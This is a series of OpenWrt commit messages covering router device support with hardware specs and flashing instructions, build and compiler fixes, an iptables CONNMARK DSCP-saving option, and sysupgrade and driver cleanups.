Now that the mt76 driver supports the MT7615D chip found on these
devices, use it.
Also add the wpad-basic package.
Note: the driver supports operation on both the 2.4 GHz and the
5 GHz bands, but not yet concurrently.
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
savedscp is a method of storing the DSCP of an ip packet into conntrack
mark. In combination with a suitable tc filter action (conndscp but may
end up being integrated into connmark) DSCP values are able to be stored
on egress and restored on ingress across links that otherwise alter or
bleach DSCP.
This is useful for qdiscs such as CAKE which are able to shape according
to policies based on DSCP.
Ingress classification is traditionally a challenging task since
iptables rules haven't yet run and tc filter/eBPF programs are pre-NAT
lookups, hence are unable to see internal IPv4 addresses as used on the
typical home masquerading gateway.
The ingress problem is solved by the tc filter, but the tc people didn't
like the idea of tc setting conntrack mark values, though they are ok
with reading conntrack values and hence restoring DSCP from conntrack
marks.
x_tables CONNMARK with the new savedscp action solves the problem of
storing the DSCP to the conntrack mark.
It accepts 2 parameters. The mark is a 32bit value with usually one 1
bit set. This bit is set when savedscp saves the DSCP to the mark.
This is useful to implement a 'one shot'
iptables based classification where the 'complicated' iptables rules are
only run once to classify the connection on initial (egress) packet and
subsequent packets are all marked/restored with the same DSCP. A mark
of zero disables the setting of a status bit/s.
The mask is a 32bit value of at least 6 contiguous bits and represents
the area where the DSCP will be stored.
e.g.
iptables -A QOS_MARK_eth0 -t mangle -j CONNMARK --savedscp-mark 0xfc000000/0x01000000
Would store the DSCP in the top 6 bits of the 32bit mark field, and use
the LSB of the top byte as the 'DSCP has been stored' marker.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
iptables: connmark - add savedscp option
Naive user space front end to xt_connmark 'savedscp' option.
e.g.
iptables -A QOS_MARK_eth0 -t mangle -j CONNMARK --savedscp-mark 0xfc000000/0x01000000
Will save DSCP into the top 6 bits and OR 0x01 (ie set) the least
significant bit of most significant byte.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
This reverts commit fe928c7a81 as it seems
to introduce build breakage when local.mk doesn't exist.
make --trace
toplevel.mk:216: target 'local.mk' does not exist
Signed-off-by: Petr Štetiar <ynezz@true.cz>
All leds on these boards are green. v1 has RFKILL GPIO 23 for production
units (it had GPIO 13 only for test phase units, and these are rather
very rare to find). As for the previous attempt to fix this and revert
due to WDR boards have blue leds, it was wrong: WDR board does not use
common setup (false).
Signed-off-by: Tomislav Požega <pozega.tomislav@gmail.com>
Base address for USB0 has changed from 0x18116c94 on AR934X
to 0x18116d94 on QCA9558. CP Typo remained for years here...
Signed-off-by: Tomislav Požega <pozega.tomislav@gmail.com>
fiptool is a host tool, used in a firmware generation pipeline, but it's
not treated as such, leading to the build breakage on the hosts which
don't have {Open,Libre}SSL dev package installed:
In file included from fiptool.h:16:0,
from fiptool.c:19:
fiptool_platform.h:18:27: fatal error: openssl/sha.h:
No such file or directory
# include <openssl/sha.h>
So this patch promotes fiptool into the host tool with proper host
include and library paths under STAGING_DIR.
Ref: https://github.com/openwrt/openwrt/pull/2267
Signed-off-by: Petr Štetiar <ynezz@true.cz>
I tend to automate most of the boring and repetitive tasks like firmware
flashing, build config reconfiguration etc., so I always end up adding
`include local.mk` as a last line in my Makefile, where local.mk is
usually symlink to some other place, just to not accidentally delete it
during `git clean`.
Carrying this single uncommited modification along in the development
process is quite PITA, because it's causing problems during Git
workflow, while rebasing etc.
I hope, that I'm not alone using similar workflow, so I believe, that
this modification might be useful for others as well.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Change capitalization from spaces to tabs in order to match
the style of the file.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
[fix capitalization in commit title, add short description]
Signed-off-by: David Bauer <mail@david-bauer.net>
Hardware spec of DIR-842 C2:
SoC: QCA9563
DRAM: 128MB DDR2
Flash: 16MB SPI-NOR
Switch: QCA8337N
WiFi 5.8GHz: QCA9888
WiFi 2.4Ghz: QCA9563
USB: 2.0
Flash instructions:
1. Upgrade the factory.bin through the factory web interface or
the u-boot failsafe interface.
The firmware will boot up correctly for the first time.
Do not power off the device after OpenWrt has booted.
Otherwise the u-boot will enter failsafe mode as the checksum
of the firmware has been changed.
2. Upgrade the sysupgrade.bin in OpenWrt.
After upgrading completes the u-boot won't complain about the
firmware checksum and it's OK to use now.
3. If you powered off the device before upgrading the sysupgrade.bin,
just upgrade the factory.bin through the u-boot failsafe interface
and then goto step 2.
Signed-off-by: Jackson Lim <jackcolentern@gmail.com>
[Reword reset-hog comment, fix formatting]
Signed-off-by: David Bauer <mail@david-bauer.net>
Newifi D1 is shipped with an 8GB microSD card in its SD slot
Without SD driver users would not be able to use it unless manually installed
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
Making all in tests
depbase=`echo handshake_table.o | sed 's|[^/]*$|.deps/&|;s|\.o$||'`;\
gcc -DPACKAGE_NAME=\"libressl\" -DPACKAGE_TARNAME=\"libressl\" -DPACKAGE_VERSION=\"2.9.2\" -DPACKAGE_STRING=\"libressl\ 2.9.2\" -DPACKAGE_BUGREPORT=\"\" -DPACKAGE_URL=\"\" -DPACKAGE=\"libressl\" -DVERSION=\"2.9.2\" -DSTDC_HEADERS=1 -DHAVE_SYS_TYPES_H=1 -DHAVE_SYS_STAT_H=1 -DHAVE_STDLIB_H=1 -DHAVE_STRING_H=1 -DHAVE_MEMORY_H=1 -DHAVE_STRINGS_H=1 -DHAVE_INTTYPES_H=1 -DHAVE_STDINT_H=1 -DHAVE_UNISTD_H=1 -DHAVE_DLFCN_H=1 -DLT_OBJDIR=\".libs/\" -DHAVE_SYMLINK=1 -DHAVE_ERR_H=1 -DHAVE_READPASSPHRASE_H=1 -DHAVE_ASPRINTF=1 -DHAVE_MEMMEM=1 -DHAVE_READPASSPHRASE=1 -DHAVE_STRLCAT=1 -DHAVE_STRLCPY=1 -DHAVE_STRNDUP=1 -DHAVE_STRNLEN=1 -DHAVE_STRSEP=1 -DHAVE_TIMEGM=1 -DHAVE_GETPROGNAME=1 -DHAVE_SYSLOG=1 -DHAVE_POLL=1 -DHAVE_SOCKETPAIR=1 -DHAVE_ARC4RANDOM=1 -DHAVE_ARC4RANDOM_BUF=1 -DHAVE_ARC4RANDOM_UNIFORM=1 -DHAVE_TIMINGSAFE_BCMP=1 -DHAVE_CLOCK_GETTIME=1 -DHAVE_VA_COPY=1 -DHAVE___VA_COPY=1 -DSIZEOF_TIME_T=8 -I. -I../include -I../include/compat -DLIBRESSL_INTERNAL -D__BEGIN_HIDDEN_DECLS= -D__END_HIDDEN_DECLS= -I ../crypto/modes -I ../crypto/asn1 -I ../ssl -I ../tls -I ../apps/openssl -I ../apps/openssl/compat -D_PATH_SSL_CA_FILE=\"../apps/openssl/cert.pem\" -I/Users/kevin/wrt/staging_dir/host/include -D__STRICT_ALIGNMENT -O2 -I/Users/kevin/wrt/staging_dir/host/include -fpic -Wall -std=gnu99 -fno-strict-aliasing -fno-strict-overflow -D_FORTIFY_SOURCE=2 -fstack-protector-strong -Qunused-arguments -Wno-pointer-sign -MT handshake_table.o -MD -MP -MF $depbase.Tpo -c -o handshake_table.o handshake_table.c &&\
mv -f $depbase.Tpo $depbase.Po
make[4]: *** No rule to make target `/Users/kevin/wrt/build_dir/host/libressl-2.9.2/crypto/.libs/libcrypto_la-cpuid-macosx-x86_64.o', needed by `handshake_table'. Stop.
make[3]: *** [all-recursive] Error 1
A similar error & clues from
e783d60473
"
LibreSSL 2.9.1 now has a test that requires libtls.a, however, when building a
shared library only build, the --disable-static flag is passed to libressl,
which prevents the building of libtls.a.
With libtls.a not being built, the following error occurs:
libressl-2.9.1/tls/.libs/libtls.a', needed by 'handshake_table'. Stop.
There are three options to fix this:
1) Stick with autotools, and provide a patch that removes building anything in
the tests folder.
2) Pass --enable-static to LIBRESSL_CONF_OPTS
3) Change the package type to cmake, as a cmake build does not have this issue."
It appears we cannot change to cmake because cmake has a dependency on
an ssl library.
Take option 1 and do not build the tests.
Also take the opportunity to remove man page building as well.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
1) nand_do_upgrade() is always called by a target code
2) nand_do_upgrade() starts with calling platform_nand_pre_upgrade()
It means there is no need for the platform_nand_pre_upgrade() callback
at all. All code that was present there could bo moved & simplly called
by a target right before the nand_do_upgrade().
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
1) RAMFS_COPY_BIN and RAMFS_COPY_DATA can be defined at top of the file
like it's done for all other targets.
2) fw_printenv.lock can be created one step later in the
platform_do_upgrade(). It seems to be working well on many other
targets.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
This doesn't include 9ff8614a3dbe ("brcmfmac: use separate Kconfig file
for brcmfmac") due to a few conflicts with backports changes.
An important change is:
[PATCH 2/7] brcmfmac: change the order of things in brcmf_detach()
which fixes a rmmod crash in the brcmf_txfinalize().
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
Fixes following errors:
src/mkfwimage.c:279:8: error: format specifies type 'long' but the argument has type 'off_t' (aka 'long long') [-Werror,-Wformat]
d->stats.st_size,
^~~~~~~~~~~~~~~~
src/mkfwimage.c:280:8: error: format specifies type 'long' but the argument has type 'long long' [-Werror,-Wformat]
d->partition_length - d->stats.st_size);
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
src/mkfwimage.c:378:6: error: format specifies type 'unsigned long' but the argument has type 'long long' [-Werror,-Wformat]
d->stats.st_size - d->partition_length);
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Reported-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
src/mkfwimage.c:276:8: error: format '%lld' expects argument of type 'long long int', but argument 4 has type '__off_t' {aka 'const long int'} [-Werror=format=]
src/fw.h:71:36: error: format '%llu' expects argument of type 'long long unsigned int', but argument 6 has type '__off_t' {aka 'long int'} [-Werror=format=]
inlined from 'main' at src/mkfwimage.c:543:12:
/string_fortified.h:106:10: error: '__builtin_strncpy' output truncated before terminating nul copying 4 bytes from a string of the same length [-Werror=stringop-truncation]
inlined from 'write_part' at src/mkfwimage.c:235:2,
string_fortified.h:106:10: error: '__builtin_strncpy' specified bound 16 equals destination size [-Werror=stringop-truncation]
inlined from 'main' at src/mkfwimage.c:477:5:
string_fortified.h:106:10: error: '__builtin_strncpy' specified bound 256 equals destination size [-Werror=stringop-truncation]
inlined from 'main' at src/mkfwimage.c:496:5:
string_fortified.h:106:10: error: '__builtin_strncpy' specified bound 4096 equals destination size [-Werror=stringop-truncation]
inlined from 'main' at src/mkfwimage.c:481:5:
string_fortified.h:106:10: error: '__builtin_strncpy' specified bound 4096 equals destination size [-Werror=stringop-truncation]
inlined from 'main' at src/mkfwimage.c:485:5:
string_fortified.h:106:10: error: '__builtin_strncpy' specified bound 16 equals destination size [-Werror=stringop-truncation]
Runtested on ath79 and UBNT Bullet M XW.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Fix 4 errors reported by gcc 9
3 mismatched format type errors
1 unused variable error
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
While looking at the ath25 build breakage of 19.07 images today I've
encountered following error:
mkfwimage -B XS5 -v [...] ath25-ubnt5-squashfs-sysupgrade.bin.new
ERROR: Failed creating firmware layout description - error code: -2
Which is barely human readable and needs poking into the source code, so
this patch makes the error more verbose and usable by mere mortals.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Let's enforce additional automatic checks enforced by the compiler in
order to catch possible errors during compilation.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
the ath10k-ct package ships multiple versions of the ath10k-ct driver,
OpenWrt currently only uses the version 4.19, but we still ship some
patches for older versions. Remove all patches only touching older
versions and also remove the patch for older versions from patches which
do the same changes to multiple versions of ath10k-ct.
This removes some unneeded patches, the end binary should stay the same.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This updates mac80211 to version 5.2-rc7, this contains all the changes
to the wireless subsystem up to Linux 5.2-rc7.
* The removed patches are applied upstream
* b43 now uses kmod-lib-cordic
* Update the nl80211.h file in iw to match backports version.
* Remove the two backports from kernel 4.9, they were needed for mt76,
but that can use the version from backports now, otherwise they
collide and cause compile errors.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
TP-Link Archer C60 v2 is a dual-band AC1350 router,
based on Qualcomm/Atheros QCA9561 + QCA9886.
Specification:
- 775/650/258 MHz (CPU/DDR/AHB)
- 64 MB of RAM (DDR2)
- 8 MB of FLASH (SPI NOR)
- 3T3R 2.4 GHz
- 2T2R 5 GHz
- 5x 10/100 Mbps Ethernet
- 7x LED, 2x button
- UART header on PCB
Flash instruction (WebUI):
Download *-factory.bin image and upload it via the firmwary upgrade
function of the stock firmware WebUI.
Flash instruction (TFTP):
1. Set PC to fixed IP address 192.168.0.66
2. Download *-factory.bin image and rename it to tp_recovery.bin
3. Start a tftp server with the file tp_recovery.bin in its root
directory
4. Turn off the router
5. Press and hold reset button
6. Turn on router with the reset button pressed and wait ~15 seconds
7. Release the reset button and after a short time the firmware should
be transferred from the tftp server
8. Wait ~30 second to complete recovery
Flash instruction (under U-Boot, using UART):
tftp 0x81000000 ...-sysupgrade.bin
erase 0x9f030000 +$filesize
cp.b $fileaddr 0x9f030000 $filesize
reset
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
TP-Link Archer C60v1 is a dual-band AC1350 router,
based on Qualcomm/Atheros QCA9561+QCA9886.
Specification:
- 775/650/258 MHz (CPU/DDR/AHB)
- 64 MB of RAM (DDR2)
- 8 MB of FLASH (SPI NOR)
- 3T3R 2.4 GHz
- 2T2R 5 GHz
- 5x 10/100 Mbps Ethernet
- 7x LED, 2x button
- UART header on PCB
Flash instruction (WebUI):
Download *-factory.bin image and upload it via the firmwary upgrade
function of the stock firmware WebUI.
Flash instruction (TFTP):
1. Set PC to fixed ip address 192.168.0.66
2. Download *-factory.bin image and rename it to tp_recovery.bin
3. Start a tftp server with the file tp_recovery.bin in its root directory
4. Turn off the router
5. Press and hold Reset button
6. Turn on router with the reset button pressed and wait ~15 seconds
7. Release the reset button and after a short time
the firmware should be transferred from the tftp server
8. Wait ~30 second to complete recovery.
Flash instruction under U-Boot, using UART:
1. tftp 0x81000000 ...-sysupgrade.bin
2. erase 0x9f020000 +$filesize
3. cp.b $fileaddr 0x9f020000 $filesize
4. reset
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
TP-Link CPE510-v2/v3 is an outdoor wireless CPE for 5 GHz with
one Ethernet port based on Atheros AR9344
Specifications:
- Based on the same underlying hardware as the TP-Link CPE510
- Power, LAN, and 4 green LEDs
- 1 10/100Mbps Shielded Ethernet Port (Passive PoE in)
- Built-in 13dBi 2x2 dual-polarized directional MIMO antenna
- Adjustable transmission power from 0 to 23dBm/200mw
Flashing instructions:
Flash factory image through stock firmware WEB UI
or through TFTP
To get to TFTP recovery just hold reset button while powering on for
around 4-5 seconds and release.
Rename factory image to recovery.bin
Stock TFTP server IP:192.168.0.100
Stock device TFTP adress:192.168.0.254
Signed-off-by: Andrew Cameron <apcameron@softhome.net>
[whitespace fixes]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Trendnet TEW-823DRU is a dual-band AC1750 router.
The router is based on Qualcomm/Atheros QCA9558 + QCA9880.
Specification:
720 MHz CPU
256 MB of RAM
16 MB of FLASH
3T3R 2.4 GHz
3T3R 5 GHz
5x 10/100/1000 Mbps Ethernet
Firmware can be flashed from the web interface. Tested on 3 routers
with no issues.
Signed-off-by: Pramod Pancha <pancha@vill.com>
[whitespace fixes]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
TP-Link RE650 v1 is a dual-band AC2600 range extender,
based on MediaTek MT7621A and MT7615E. According to the
wikidevi entry for RE650 this device is identical with
TP-Link RE500 as hardware. This patch supports only RE650.
Hardware specification:
- SoC 880 MHz - MediaTek MT7621AT
- 128 MB of DDR3 RAM
- 16 MB - Winbond 25Q128FVSG
- 4T4R 2.4 GHz - MediaTek MT7615E
- 4T4R 5 GHz - MediaTek MT7615E
- 1x 1 Gbps Ethernet - MT7621AT integrated
- 7x LEDs (Power, 2G, 5G, WPS(x2), Lan(x2))
- 4x buttons (Reset, Power, WPS, LED)
- UART header (J1) - 2:GND, 3:RX, 4:TX
Serial console @ 57600,8n1
Flash instructions:
Upload
openwrt-ramips-mt7621-tplink_re650-v1-squashfs-factory.bin
from the RE650 web interface.
TFTP recovery to stock firmware:
Unfortunately, I can't find an easy way to recover the RE
without opening the device and using modified binaries. The
TFTP upload will only work if selected from u-boot, which
means you have to open the device and attach to the serial
console. The TFTP update procedure does *not* accept the
published vendor firmware binaries. However, it allows to
flash kernel + rootfs binaries, and this works if you have
a backup of the original contents of the flash. It's probably
possible to create special image out of the vendor binaries
and use that as recovery image.
Signed-off-by: Georgi Vlaev <georgi.vlaev@gmail.com>
[re-added variables for kernel header]
Signed-off-by: David Bauer <mail@david-bauer.net>
While compile checking mtd changes in PR#1359 I've noticed following
compiler warnings and cleaned them up:
fis.c: In function 'fis_remap':
fis.c:143:25: warning: variable 'redboot' set but not used [-Wunused-but-set-variable]
struct fis_image_desc *redboot = NULL;
^~~~~~~
fis.c:142:25: warning: variable 'fisdir' set but not used [-Wunused-but-set-variable]
struct fis_image_desc *fisdir = NULL;
^~~~~~
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This board was used in dual-band 802.11n enterprise access points, models
BSAP-1800v2 and BSAP-1840, introduced in 2010 by Bluesocket, which was
acquired by Adtran in 2011, who has now EOL'ed them. They differed only in
that the BSAP-1840's antennae were detachable, while the BSAP-1800v2's were
inside the case. They have an external RJ-45 console port, which works with
standard Cisco 72-3383-01 console cables.
Specification:
- System-On-Chip: AR7161
- CPU/Speed: 600 MHz
- Flash-Chip: Macronix MX25L12845E
- Flash size: 16 MiB
- RAM: 64 MiB
- Wireless No1: Lite-On WN2601A card: AR9160/AR9103 2.4GHz 802.11bgn
- Wireless No2: Lite-On WN2502A card: AR9160/AR9106 5GHz 802.11an
- PHY: Vitesse VSC8601, Rev. B
Installation:
1. Connect to the serial console using a terminal that supports YMODEM at
115200 bps, 8 data bits, no parity, 1 stop bit
2. Interrupt the bootloader using its password, which is: r00t
3. Issue the "fis init" command, confirming if prompted
4. Look at the length of the openwrt-ath79-generic-*-squashfs-kernel.bin
file, and substitute it below, instead of where I have "LeNgTh"
5. Issue the following command, and upload this file using YMODEM protocol
load -r -v -b 0x80060000 -m ymodem
6. Issue the following commands, substituting as mentioned above:
fis create -b 0x80060000 -l LeNgTh vmlinux_2
load -r -v -b 0x80100000 -m ymodem
7. Using YMODEM, upload openwrt-ath79-generic-*-squashfs-rootfs.bin
8. Issue the "fis free" command, and for the first range in its response,
use a hexadecimal calculator to subtract the start from the end in order
to substitute it below, with the leading "0x" to specify it in
hexadecimal, instead of where I have "LeNgTh"
9. Issue the following commands, substituting as mentioned above:
fis create -b 0x80100000 -l LeNgTh -e 0 -r 0 rootfs
reset
10.Wait for the status LED to go solid green
Tested-by: Brian Gonyer <bgonyer@gmail.com>
Signed-off-by: Daniel Gimpelevich <daniel@gimpelevich.san-francisco.ca.us>
[fixed obsolete $ARGV in platform_do_upgrade]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
The Bluesocket BSAP1880 board has a Vitesse PHY, for which the driver was
not being included, and its RedBoot directory block is earlier in the
flash than the search was allowing. This commit prepares for supporting it.
Signed-off-by: Daniel Gimpelevich <daniel@gimpelevich.san-francisco.ca.us>
The ag71xx code did not include a case for the "rgmii-id" PHY mode in the
code. There are devices that need this mode, so I'm adding it.
Signed-off-by: Daniel Gimpelevich <daniel@gimpelevich.san-francisco.ca.us>
The code for calculating the CRC32 signatures for RedBoot FIS partitions
was already included, but for unknown reasons, it was never invoked. Some
bootloaders enforce checking these for loaded kernels, so they should be
written. This patch does so.
Tested-by: Brian Gonyer <bgonyer@gmail.com>
Signed-off-by: Daniel Gimpelevich <daniel@gimpelevich.san-francisco.ca.us>
To configure the list of allowable TLS 1.3 ciphersuites, the option
tls_ciphersuites is used instead of tls_ciphers.
Signed-off-by: Martin Schiller <ms@dev.tdt.de>
It was reported in FS#2385, that Carambola2 doesn't currently have
working watchdog so fix it by adding watchdog node.
Ref: FS#2385
Signed-off-by: Petr Štetiar <ynezz@true.cz>
ELECOM WRC-1167GHBK2-S has a MediaTek MT7615D chip for 2.4/5 GHz
wireless.
A driver package for MT7615 chip is added to OpenWrt in
a0e5ca4f35,
so add preliminary MT7615 chip support for WRC-1167GHBK2-S.
Note: Currently, DBDC mode for MT7615 is not supported in mt76 driver.
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
Redirect the build output to PKG_BUILD_DIR instead of copying over
complete source code.
Build tested on following targets:
x86/64 ar7/generic ipq40xx/generic imx6/generic ar71xx/generic
ramips/mt7621 ramips/mt7620 sunxi/cortexa7
Run tested on imx6/apalis.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Drop 211-host_tools_portability.patch which is breaking perf build on
4.19 kernels by removing the include directory from the host's CFLAGS
leading to the following build breakage:
pmu-events/jevents.c:48:10: fatal error: linux/list.h: No such file or directory
#include <linux/list.h>
^~~~~~~~~~~~~~
Signed-off-by: Petr Štetiar <ynezz@true.cz>
jffs2reset is used to cleanup the rootfs_data overlay, but it's
currently missing in the ramfs during sysupgrade leading to the
following error:
Switching to ramdisk...
Performing system upgrade...
/lib/upgrade/do_stage2: line 27: jffs2reset: not found
Fixes: 2f1a11d008 ("imx6: apalis: fix config survival after sysupgrade -n")
Signed-off-by: Petr Štetiar <ynezz@true.cz>
We can't use $board_name in sysupgrade paths for kernel and rootfs as we
currently generate one image which could be used on two different base
boards.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Many Atom-based embedded/industrial x86 boards can't run 64bit operating
systems due to either processor or board firmware limitations, but they
have modern interfaces (PCIe) or have modern Intel gigabit controllers
onboard. With the current default package selection for x86 Generic
target their network won't work.
Add the modern gigabit network modules needed or most likely going to be
used as add-in cards, similar to what is the list on x86_64 target.
Signed-off-by: Alberto Bursi <alberto.bursi@outlook.it>
[fixed whitespace issue]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
By default, set BE tx queue TXOP limit to 1.0 in the hostapd config
Many vendor drivers are doing similar things to boost throughput.
On MT7612 under ideal conditions, it improves tx throughput from 470 Mbit/s
to about 570 Mbit/s.
Signed-off-by: Felix Fietkau <nbd@nbd.name>
sysupgrade passes image path to platform_check_image() as an argument so
it can be simply accessed using $1
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
The only step between platform_pre_upgrade() and platform_do_upgrade()
is switching to ramdisk. It should be fine to "mtd erase firmware" from
the later callback and get rid of the first one.
This change wasn't tested on affected target but identical code logic
was verified to work as expected on brcm47xx with initramfs firmware.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
The only step between platform_pre_upgrade() and platform_do_upgrade()
is switching to ramdisk. It should be fine to "mtd erase firmware" from
the later callback and get rid of the first one.
This change wasn't tested on affected target but identical code logic
was verified to work as expected on brcm47xx with initramfs firmware.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
fixes intermittent loss of connectivity on 1Gbit port, with log message:
> 803x_aneg_done: SGMII link is not ok
Thanks to David Bauer for pointing me in the right direction.
I just had to figure out the right bus_id, which you find in this log:
> ag71xx ag71xx.1: connected to PHY at gpio-1:00 [uid=004dd074,
driver=Atheros 8031 ethernet]
Fixes FS#2236
Signed-off-by: Etienne Champetier <champetier.etienne@gmail.com>
[Wrapped commit message - Fixed whitespace erors]
Signed-off-by: David Bauer <mail@david-bauer.net>
This script is copied from ar71xx. Without a header fixup, u-boot
checksum for kernel will fail after the first boot.
Fixes: a9360452f0 ("ath79: add support for Qihoo C301")
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
sysupgrade passes image to check as argument so use $# instead of $ARGC.
It also fits this function better as it checks $1 and not $ARGV.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
In 2011 (!), network setup for nexaira,bc2 was moved to network
defaults script with a typo so it became b2c:
295e04084c ("ramips: setup bc2 mac addresses from the generic network script")
This patch just removes the useless entry without replacement,
since it seems to have worked for 8 years anyway.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
according to functional block diagram in datasheet, these devices
don't belong to apb bus.
Move these nodes out to match datasheet description.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
Specifications:
- SoC: AR9344
- RAM: 128MB
- Flash: 2 * 16MB (MX25L12845)
- Ethernet: 2 * FE LAN & 1 * FE WAN
- WiFi: 2.4G: AR9344 5G: QCA9882
Flash instruction:
1. Hold reset and power up the router
2. Set your IP to 192.168.1.x
3. Open 192.168.1.1 and upload the generated *factory* firmware
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
Since mt76x8an ver1 eco2, SDXC pins can be switched to the
following pinmap:
sd_d1 -> PAD_I2S_SDI
sd_d0 -> PAD_I2S_WS
sd_cmd -> PAD_I2S_CLK
sd_d3 -> PAD_I2C_SCLK
sd_d2 -> PAD_I2C_SD
sd_clk -> PAD_GPIO0
sd_wp -> PAD_TXD1
sd_cd -> PAD_RXD1
To use this pinmap, one would need to set ESD_MODE bit (bit 15)
to 1 in GPIO1_MODE and switch other used pads into GPIO mode.
In this mode, we don't need to switch ethernet pins to digital
pad.
Check ESD_MODE bit before applying AGPIO_CFG and use rt_sysc_m32
to set it.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
Removed an eglibc remnant, and while at it, grouped all of the
TOOLCHAIN_PLATFORMs using the same FLAGS together.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
The OpenWrt buildroot ABI version rebuild tracker does not handle
transient dependencies, therefore add all libraries linked by
block-mount and blockd as direct dependencies to the corresponding
binary package definition.
This ensures that block-mount and blockd is automatically rebuilt and
relinked if any of these libraries has its ABI_VERSION updated in the
future.
Fixes: FS#2373
[jow: similar fix for procd and 98.42% of commit message]
Signed-off-by: Jo-Philip Wich <jow@mein.io>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Hardware
--------
CPU: Qualcomm Atheros QCA9558
RAM: 128M DDR2
FLASH: 16MiB
ETH: 1x Atheros AR8035 (PoE in)
WiFi2: QCA9558 3T3R
WiFi5: QCA9880 3T3R
BTN: 1x Reset
LED: 1x LED Power (non-controllable)
1x LED Status (internal)
1x LED LAN (controlled by PHY)
1x LED WLAN
BEEP: 1x GPIO attached piezo beeper
UART: 3.3V GND TX RX (115200-N-8) (3.3V is square pad)
Header is located next to external-LED header.
Installation
------------
Make sure you set a password for the root user as prompted on first
setup!
1. Upload OpenWRT sysupgrade image via SSH to the device.
Use /tmp as the destination folder on the device.
User is root, password the one set in the web interface.
2. Install OpenWRT with
> sysupgrade -n -F /tmp/<openwrt-image-name>
Signed-off-by: David Bauer <mail@david-bauer.net>
The command line enforced by the kernel is harmful, we want to
use the command line passed from the device tree. This is
especially important for the SQ201, Teltonika RUT and WBD111
which has a console set to 115200n8 and not 19200n8 like all
the others, so their consoles will be confusingly changing
baudrate between boot loader and kernel. The setting in the
device tree corresponds to what the boot loader is using.
Signed-off-by: Linus Walleij <linus.walleij@linaro.org>
This patch unifies the polled and interrupt-driven gpio_keys code
paths as well implements consistent handling of the debounce
interval set for the GPIO buttons and switches.
Hotplug events will only be fired if
1. The input changes its state and remains stable for the duration
of the debounce interval (default is 5 ms).
2. In the initial stable (no state-change for duration of the
debounce interval) state once the driver module gets loaded.
Switch type inputs will always report their stable state.
Unpressed buttons will not trigger an event for the initial
stable state. Whereas pressed buttons will trigger an event.
This is consistent with upstream's gpio-key driver that uses
the input subsystem (and dont use autorepeat).
Prior to this patch, this was handled inconsistently for interrupt-based
an polled gpio-keys. Hence this patch unifies the shared logic into the
gpio_keys_handle_button() function and modify both implementations to
handle the initial state properly.
The changes described in 2. ) . can have an impact on the
failsafe trigger. Up until now, the script checked for button
state changes. On the down side, this allowed to trigger the
failsafe by releasing a held button at the right time. On the
plus side, the button's polarity setting didn't matter.
Now, the failsafe will only engage when a button was pressed
at the right moment (same as before), but now it can
theoretically also trigger when the button was pressed the
whole time the kernel booted and well into the fast-blinking
preinit phase. However, the chances that this can happen are
really small. This is because the gpio-button module is usually
up and ready even before the preinit state is entered. So, the
initial pressed button event gets lost and most devices behave
as before.
Bisectors: If this patch causes a device to permanently go into
failsafe or experience weird behavior due to inputs, please
check the following:
- the GPIO polarity setting for the button
- the software-debounce value
Run-tested for 'gpio-keys' and 'gpio-keys-polled' on
- devolo WiFi pro 1200e
- devolo WiFi pro 1750c
- devolo WiFi pro 1750x
- Netgear WNDR4700
- Meraki MR24
- RT-AC58U
Signed-off-by: David Bauer <mail@david-bauer.net>
Signed-off-by: Christian Lamparter <chunkeey@gmail.com> [further
cleanups, simplification and unification]
- Support added to bcm2709 subtarget (32 bit).
- 64 bit kernel still requires many hacks on RPi 4B.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
b43legacy needs ssb support and we do not compile the mips74 subtarget
of the brcm47xx target with SSB support. This causes a build failure in
the mac80211 package and only some of the kernel modules are being
created.
I am not aware of any device with a BRCM47xx mips74 CPU which uses a
b43legacy compatible device.
Fixes: FS#2334
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
SoC: MediaTek MT7621AT
RAM: 128M (Winbond W631GG6KB-15)
FLASH: 16MB (Spansion S25FL128SA)
WiFi: MediaTek MT7603EN bgn 2SS
WiFi: MediaTek MT7612EN nac 2SS
BTN: Reset - WPS
LED: - Power
- LAN {1-4}
- WAN
- WiFi 2.4 GHz
- WiFi 5 GHz
- USB
UART: UART is present next to the Power LED.
